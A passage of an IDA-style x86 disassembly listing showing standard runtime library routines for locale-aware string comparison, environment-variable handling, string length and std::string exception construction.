		cmp	esi, [ebp+arg_14]
		jnz	short loc_415C42


loc_415C3A:				; CODE XREF: sub_415B4F+13Cj
					; sub_415B4F+16Dj
		push	2


loc_415C3C:				; CODE XREF: sub_415B4F+146j
		pop	eax
		jmp	loc_415DBA
; ---------------------------------------------------------------------------


loc_415C42:				; CODE XREF: sub_415B4F+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_415C4E


loc_415C47:				; CODE XREF: sub_415B4F+151j
					; sub_415B4F+159j ...
		mov	eax, edi
		jmp	loc_415DBA
; ---------------------------------------------------------------------------


loc_415C4E:				; CODE XREF: sub_415B4F+F6j
		cmp	esi, edi
		jg	short loc_415C93
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_417154	; GetCPInfo
		test	eax, eax
		jz	loc_415DB8
		cmp	esi, ebx
		jle	short loc_415C97
		cmp	[ebp+var_3C], 2
		jb	short loc_415C93
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_415C93


loc_415C79:				; CODE XREF: sub_415B4F+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_415C93
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_415C8D
		cmp	cl, dl
		jbe	short loc_415C3A


loc_415C8D:				; CODE XREF: sub_415B4F+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_415C79


loc_415C93:				; CODE XREF: sub_415B4F+101j
					; sub_415B4F+120j ...
		push	3
		jmp	short loc_415C3C
; ---------------------------------------------------------------------------


loc_415C97:				; CODE XREF: sub_415B4F+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_415CCD
		cmp	[ebp+var_3C], 2
		jb	short loc_415C47
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_415C47


loc_415CAA:				; CODE XREF: sub_415B4F+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_415C47
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_415CC2
		cmp	cl, dl
		jbe	loc_415C3A


loc_415CC2:				; CODE XREF: sub_415B4F+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_415CAA
		jmp	loc_415C47
; ---------------------------------------------------------------------------


loc_415CCD:				; CODE XREF: sub_415B4F+E0j
					; sub_415B4F+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_4170C4	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_415DB8
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_40B690
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_415D1C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_415D1C:				; CODE XREF: sub_415B4F+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_415DB8
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_4170C4
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_415DB8
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_415DB8
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40B690
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_415D87
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_415D87:				; CODE XREF: sub_415B4F+224j
		cmp	edi, ebx
		jz	short loc_415DB8
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_4170C4	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_415DB8
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417008	; CompareStringW
		jmp	short loc_415DBA
; ---------------------------------------------------------------------------


loc_415DB8:				; CODE XREF: sub_415B4F+63j
					; sub_415B4F+C6j ...
		xor	eax, eax


loc_415DBA:				; CODE XREF: sub_415B4F+BFj
					; sub_415B4F+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415B4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DCC	proc near		; CODE XREF: sub_411E1B+81p
					; sub_415B4F+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_415DE9


loc_415DDC:				; CODE XREF: sub_415DCC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_415DE9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_415DDC


loc_415DE9:				; CODE XREF: sub_415DCC+Ej
					; sub_415DCC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_415DF4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_415DF4:				; CODE XREF: sub_415DCC+21j
		mov	eax, edx
		retn
sub_415DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DF7	proc near		; CODE XREF: sub_415AE1+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_415E5B
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41603D
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_415E5B
		cmp	[ebp+arg_0], esi
		jz	short loc_415E5B
		mov	eax, dword_47F93C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_47F940
		jnz	short loc_415E41
		push	eax
		call	sub_415FD6
		pop	ecx
		mov	dword_47F93C, eax


loc_415E41:				; CODE XREF: sub_415DF7+3Cj
		cmp	eax, edi
		jnz	short loc_415E99
		cmp	[ebp+arg_4], edi
		jz	short loc_415E63
		cmp	dword_47F944, edi
		jz	short loc_415E63
		call	sub_415AE1
		test	eax, eax
		jz	short loc_415E99


loc_415E5B:				; CODE XREF: sub_415DF7+Dj
					; sub_415DF7+22j ...
		or	eax, 0FFFFFFFFh


loc_415E5E:				; CODE XREF: sub_415DF7+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415E63:				; CODE XREF: sub_415DF7+51j
					; sub_415DF7+59j
		cmp	ebx, edi
		jnz	loc_415F77
		push	4
		call	sub_40B6BF
		cmp	eax, edi
		pop	ecx
		mov	dword_47F93C, eax
		jz	short loc_415E5B
		mov	[eax], edi
		cmp	dword_47F944, edi
		jnz	short loc_415E99
		push	4
		call	sub_40B6BF
		cmp	eax, edi
		pop	ecx
		mov	dword_47F944, eax
		jz	short loc_415E5B
		mov	[eax], edi


loc_415E99:				; CODE XREF: sub_415DF7+4Cj
					; sub_415DF7+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_47F93C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_415F7E
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_415EF9
		cmp	dword ptr [edi], 0
		jz	short loc_415EF9
		test	ebx, ebx
		jz	short loc_415EF1
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_40B771
		pop	ecx


loc_415ECB:				; CODE XREF: sub_415DF7+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_415EDB
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_415ECB
; ---------------------------------------------------------------------------


loc_415EDB:				; CODE XREF: sub_415DF7+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_40C4F8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F2B
		jmp	short loc_415F26
; ---------------------------------------------------------------------------


loc_415EF1:				; CODE XREF: sub_415DF7+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_415F2B
; ---------------------------------------------------------------------------


loc_415EF9:				; CODE XREF: sub_415DF7+BDj
					; sub_415DF7+C2j
		test	ebx, ebx
		jnz	short loc_415F77
		test	esi, esi
		jge	short loc_415F03
		neg	esi


loc_415F03:				; CODE XREF: sub_415DF7+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_40C4F8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415E5B
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_415F26:				; CODE XREF: sub_415DF7+F8j
		mov	dword_47F93C, eax


loc_415F2B:				; CODE XREF: sub_415DF7+F6j
					; sub_415DF7+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_415F77
		push	[ebp+arg_0]
		call	sub_40B5B0
		inc	eax
		inc	eax
		push	eax
		call	sub_40B6BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_415F77
		push	[ebp+arg_0]
		push	esi
		call	sub_40CD70
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_417004	; SetEnvironmentVariableA
		push	esi
		call	sub_40B771
		pop	ecx


loc_415F77:				; CODE XREF: sub_415DF7+6Ej
					; sub_415DF7+104j ...
		xor	eax, eax
		jmp	loc_415E5E
sub_415DF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F7E	proc near		; CODE XREF: sub_415DF7+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_47F93C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_415FB9
		mov	edi, [esp+8+arg_4]


loc_415F90:				; CODE XREF: sub_415F7E+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_415AA2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415FAF
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_415FC9
		test	al, al
		jz	short loc_415FC9


loc_415FAF:				; CODE XREF: sub_415F7E+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_415F90


loc_415FB9:				; CODE XREF: sub_415F7E+Cj
		mov	eax, esi
		sub	eax, dword_47F93C
		sar	eax, 2
		neg	eax


loc_415FC6:				; CODE XREF: sub_415F7E+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415FC9:				; CODE XREF: sub_415F7E+2Bj
					; sub_415F7E+2Fj
		mov	eax, esi
		sub	eax, dword_47F93C
		sar	eax, 2
		jmp	short loc_415FC6
sub_415F7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FD6	proc near		; CODE XREF: sub_415DF7+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_415FE5
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415FE5:				; CODE XREF: sub_415FD6+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_415FF7


loc_415FED:				; CODE XREF: sub_415FD6+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_415FED


loc_415FF7:				; CODE XREF: sub_415FD6+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_40B6BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_416018
		push	9
		call	sub_40D60A
		pop	ecx


loc_416018:				; CODE XREF: sub_415FD6+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41601C:				; CODE XREF: sub_415FD6+5Bj
		test	eax, eax
		jz	short loc_416033
		push	eax
		add	ebx, 4
		call	sub_4160B0
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41601C
; ---------------------------------------------------------------------------


loc_416033:				; CODE XREF: sub_415FD6+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_415FD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41603D	proc near		; CODE XREF: sub_415DF7+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_480D5C, 0
		jnz	short loc_416058
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CFC0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416058:				; CODE XREF: sub_41603D+Aj
		mov	ecx, [ebp+arg_0]


loc_41605B:				; CODE XREF: sub_41603D+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41609E
		movzx	edx, al
		test	byte_480E61[edx], 4
		jz	short loc_41608A
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_416095
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_416099
		jmp	short loc_416092
; ---------------------------------------------------------------------------


loc_41608A:				; CODE XREF: sub_41603D+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41609E


loc_416092:				; CODE XREF: sub_41603D+4Bj
		inc	ecx
		jmp	short loc_41605B
; ---------------------------------------------------------------------------


loc_416095:				; CODE XREF: sub_41603D+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416099:				; CODE XREF: sub_41603D+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41609E:				; CODE XREF: sub_41603D+25j
					; sub_41603D+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41603D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4160B0	proc near		; CODE XREF: sub_405185+21p
					; sub_415FD6+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4160D7
		push	esi
		call	sub_40B5B0
		inc	eax
		push	eax
		call	sub_40B6BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160D7
		push	esi
		push	eax
		call	sub_40CD70
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4160D7:				; CODE XREF: sub_4160B0+7j
					; sub_4160B0+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_4160B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4160E0	proc near		; CODE XREF: sub_40258B+12p
					; sub_4025E5+12p ...
		mov	eax, offset loc_4165D4
		call	sub_40BDC8
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_402790
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_40B5B0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_4027C8
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41613A
		lea	eax, [ebp-3Ch]
		push	offset dword_417F68
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_417C2C
		call	sub_41653B
		pop	esi
sub_4160E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41613A	proc near		; CODE XREF: sub_4160E0+3Fp
					; sub_41630C+3Fp
		mov	eax, offset loc_4165E8
		call	sub_40BDC8
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_422270
		call	sub_416460
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_402790
		push	dword_417C58
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40263D
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_417C4C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41613A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41619E	proc near		; DATA XREF: .nsp0:00417C30o
					; .nsp0:00417C50o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4161AA
		mov	eax, offset dword_417218

locret_4161AA:				; CODE XREF: sub_41619E+5j
		retn
sub_41619E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161AB	proc near		; DATA XREF: .nsp0:00417C54o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_416221
		lea	eax, [ebp+var_1C]
		push	offset dword_417FD8
		push	eax
		call	sub_41653B
sub_4161AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4161C8	proc near		; CODE XREF: .nsp0:00416208p
					; DATA XREF: .nsp0:00417FDCo
		mov	eax, offset loc_4165FC
		call	sub_40BDC8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_417C4C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402790
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4164E7
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4161C8	endp

; ---------------------------------------------------------------------------


loc_416205:				; DATA XREF: .nsp0:off_417C4Co
		push	esi
		mov	esi, ecx
		call	sub_4161C8
		test	byte ptr [esp+8], 1
		jz	short loc_41621B
		push	esi
		call	sub_40BE38
		pop	ecx


loc_41621B:				; CODE XREF: .nsp0:00416212j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416221	proc near		; CODE XREF: sub_4161AB+Ap
					; sub_4162F4+7p ...
		mov	eax, offset loc_416610
		call	sub_40BDC8
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_41649D
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_402790
		push	dword_417C58
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40263D
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_417C4C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_416221	endp


; =============== S U B	R O U T	I N E =======================================



sub_41627E	proc near		; CODE XREF: sub_4162BB+20p
					; DATA XREF: .nsp0:00417F6Co
		mov	eax, offset loc_416624
		call	sub_40BDC8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_417C4C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402790
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4164E7
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41627E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162BB	proc near		; DATA XREF: .nsp0:00417C34o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4162F4
		lea	eax, [ebp+var_1C]
		push	offset dword_417F68
		push	eax
		call	sub_41653B


loc_4162D8:				; DATA XREF: .nsp0:off_417C2Co
		push	esi
		mov	esi, ecx
		call	sub_41627E
		test	[esp+20h+var_18], 1
		jz	short loc_4162EE
		push	esi
		call	sub_40BE38
		pop	ecx


loc_4162EE:				; CODE XREF: sub_4162BB+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_4162BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4162F4	proc near		; CODE XREF: sub_4162BB+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_416221
		mov	dword ptr [esi], offset	off_417C2C
		mov	eax, esi
		pop	esi
		retn	4
sub_4162F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41630C	proc near		; CODE XREF: sub_40263D+13p
					; sub_4027FD+Ep
		mov	eax, offset loc_416638
		call	sub_40BDC8
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_402790
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_40B5B0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_4027C8
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41613A
		lea	eax, [ebp-3Ch]
		push	offset dword_418090
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_417C60
		call	sub_41653B
		pop	esi
sub_41630C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416366	proc near		; CODE XREF: sub_4163A3+20p
					; DATA XREF: .nsp0:00418094o
		mov	eax, offset loc_41664C
		call	sub_40BDC8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_417C4C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402790
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4164E7
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_416366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4163A3	proc near		; DATA XREF: .nsp0:00417C68o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4163DC
		lea	eax, [ebp+var_1C]
		push	offset dword_418090
		push	eax
		call	sub_41653B


loc_4163C0:				; DATA XREF: .nsp0:off_417C60o
		push	esi
		mov	esi, ecx
		call	sub_416366
		test	[esp+20h+var_18], 1
		jz	short loc_4163D6
		push	esi
		call	sub_40BE38
		pop	ecx


loc_4163D6:				; CODE XREF: sub_4163A3+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_4163A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4163DC	proc near		; CODE XREF: sub_4163A3+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_416221
		mov	dword ptr [esi], offset	off_417C60
		mov	eax, esi
		pop	esi
		retn	4
sub_4163DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163F4	proc near		; DATA XREF: .nsp0:00419008o

; FUNCTION CHUNK AT 0041642A SIZE 0000000C BYTES

		test	byte_47FC04, 1
		jnz	short loc_416404
		or	byte_47FC04, 1


loc_416404:				; CODE XREF: sub_4163F4+7j
		call	sub_41641E
		test	byte_480FA0, 1
		jnz	short loc_416419
		or	byte_480FA0, 1


loc_416419:				; CODE XREF: sub_4163F4+1Cj
		jmp	loc_41642A
sub_4163F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41641E	proc near		; CODE XREF: sub_4163F4:loc_416404p
		push	offset nullsub_1
		call	sub_40C200
		pop	ecx
		retn
sub_41641E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4163F4


loc_41642A:				; CODE XREF: sub_4163F4:loc_416419j
		push	offset nullsub_1
		call	sub_40C200
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4163F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416438	proc near		; CODE XREF: sub_401F1D+5Ep
					; sub_403E11+157p
		jmp	dword_4171B4
sub_416438	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41643E	proc near		; CODE XREF: sub_40BA34+23p
					; sub_40BCD8+13p
		jmp	dword_41710C
sub_41643E	endp


; =============== S U B	R O U T	I N E =======================================



sub_416444	proc near		; DATA XREF: .nsp0:off_417C88o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4164E7
		test	[esp+4+arg_0], 1
		jz	short loc_41645A
		push	esi
		call	sub_40BE38
		pop	ecx


loc_41645A:				; CODE XREF: sub_416444+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416444	endp


; =============== S U B	R O U T	I N E =======================================



sub_416460	proc near		; CODE XREF: sub_41613A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_417C88
		push	dword ptr [edi]
		call	sub_40B5B0
		inc	eax
		push	eax
		call	sub_40C185
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41648F
		push	dword ptr [edi]
		push	eax
		call	sub_40CD70
		pop	ecx
		pop	ecx


loc_41648F:				; CODE XREF: sub_416460+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_416460	endp


; =============== S U B	R O U T	I N E =======================================



sub_41649D	proc near		; CODE XREF: sub_416221+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_417C88
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4164DA
		push	dword ptr [edi+4]
		call	sub_40B5B0
		inc	eax
		push	eax
		call	sub_40C185
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4164E0
		push	dword ptr [edi+4]
		push	eax
		call	sub_40CD70
		pop	ecx
		pop	ecx
		jmp	short loc_4164E0
; ---------------------------------------------------------------------------


loc_4164DA:				; CODE XREF: sub_41649D+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4164E0:				; CODE XREF: sub_41649D+2Ej
					; sub_41649D+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41649D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164E7	proc near		; CODE XREF: sub_4161C8+2Bp
					; sub_41627E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_417C88
		jz	short locret_4164FC
		push	dword ptr [ecx+4]
		call	sub_40BE38
		pop	ecx

locret_4164FC:				; CODE XREF: sub_4164E7+Aj
		retn
sub_4164E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164FD	proc near		; DATA XREF: .nsp0:00417C8Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_416509
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_416509:				; CODE XREF: sub_4164FD+5j
		retn
sub_4164FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41650A	proc near		; CODE XREF: .nsp0:00416522p
		mov	dword ptr [ecx], offset	off_417CA8
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_41651E
		push	ecx
		call	sub_40B771
		pop	ecx

locret_41651E:				; CODE XREF: sub_41650A+Bj
		retn
sub_41650A	endp

; ---------------------------------------------------------------------------


loc_41651F:				; DATA XREF: .nsp0:off_417CA8o
